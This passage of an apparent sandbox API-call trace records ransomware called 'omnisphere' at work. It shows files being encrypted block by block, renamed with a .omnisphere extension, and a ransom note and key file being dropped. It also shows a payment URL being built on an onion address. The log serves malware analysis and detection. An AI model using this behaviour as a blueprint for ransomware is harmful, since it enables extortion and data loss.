pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.894] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.894] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0126.894] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x51a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.895] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.895] GetProcessHeap () returned 0x1600000 [0126.895] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b6) returned 0x16ead88 [0126.895] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q8ta-bWT2WxX6T.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\q8ta-bwt2wxx6t.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q8ta-bWT2WxX6T.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\q8ta-bwt2wxx6t.lnk.omnisphere")) returned 1 [0126.895] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q8ta-bWT2WxX6T.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q8ta-bWT2WxX6T.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q8ta-bWT2WxX6T.lnk.omnisphere.id" [0126.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q8ta-bWT2WxX6T.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\q8ta-bwt2wxx6t.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.896] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.897] CloseHandle (hObject=0x3c0) returned 1 [0126.897] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.898] CloseHandle (hObject=0x288) returned 1 [0126.898] SetEndOfFile (hFile=0x28c) returned 1 [0126.898] FlushFileBuffers (hFile=0x28c) returned 1 [0126.901] CloseHandle (hObject=0x28c) returned 1 [0126.901] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q8ta-bWT2WxX6T.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.902] GetProcessHeap () returned 0x1600000 [0126.902] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef310 [0126.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.902] GetProcessHeap () returned 0x1600000 [0126.902] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5b68 [0126.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5b68, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.902] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.902] GetProcessHeap () returned 0x1600000 [0126.902] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7ec8 [0126.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7ec8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.902] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.902] GetProcessHeap () returned 0x1600000 [0126.902] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9840 [0126.902] PathCombineW (in: pszDest=0x16d9840, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.902] GetProcessHeap () returned 0x1600000 [0126.902] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e1b60 [0126.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.902] WriteFile (in: hFile=0x28c, lpBuffer=0x16e1b60*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e1b60*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.903] CloseHandle (hObject=0x28c) returned 1 [0126.903] GetProcessHeap () returned 0x1600000 [0126.903] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef310 | out: hHeap=0x1600000) returned 1 [0126.903] GetProcessHeap () returned 0x1600000 [0126.903] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e4c8 [0126.903] PathCombineW (in: pszDest=0x162e4c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.903] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.903] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.903] CloseHandle (hObject=0x28c) returned 1 [0126.903] GetProcessHeap () returned 0x1600000 [0126.903] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e4c8 | out: hHeap=0x1600000) returned 1 [0126.903] GetProcessHeap () returned 0x1600000 [0126.903] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.903] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ea8eb1d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ea8eb1d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1ea8eb1d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2ba, dwReserved0=0x0, dwReserved1=0xd3, cFileName="qeZRA65gNPH7U5zlEZte.lnk", cAlternateFileName="QEZRA6~1.LNK")) returned 1 [0126.903] GetProcessHeap () returned 0x1600000 [0126.903] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x166ab78 [0126.903] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="qeZRA65gNPH7U5zlEZte.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qeZRA65gNPH7U5zlEZte.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qeZRA65gNPH7U5zlEZte.lnk" [0126.903] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qeZRA65gNPH7U5zlEZte.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qezra65gnph7u5zlezte.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.904] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=698) returned 1 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.904] GetTickCount () returned 0x115faa8 [0126.905] GetTickCount () returned 0x115fab8 [0126.905] GetTickCount () returned 0x115fab8 [0126.905] GetTickCount () returned 0x115fab8 [0126.905] GetTickCount () returned 0x115fab8 [0126.905] GetTickCount () returned 0x115fab8 [0126.905] GetTickCount () returned 0x115fab8 [0126.905] GetTickCount () returned 0x115fab8 [0126.905] GetTickCount () returned 0x115fab8 [0126.905] GetTickCount () returned 0x115fab8 [0126.905] GetTickCount () returned 0x115fab8 [0126.905] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.906] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.906] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.906] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.906] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.906] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ba, lpName=0x0) returned 0x288 [0126.906] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ba) returned 0x1480000 [0126.906] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0126.907] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.907] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.907] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.908] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.909] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 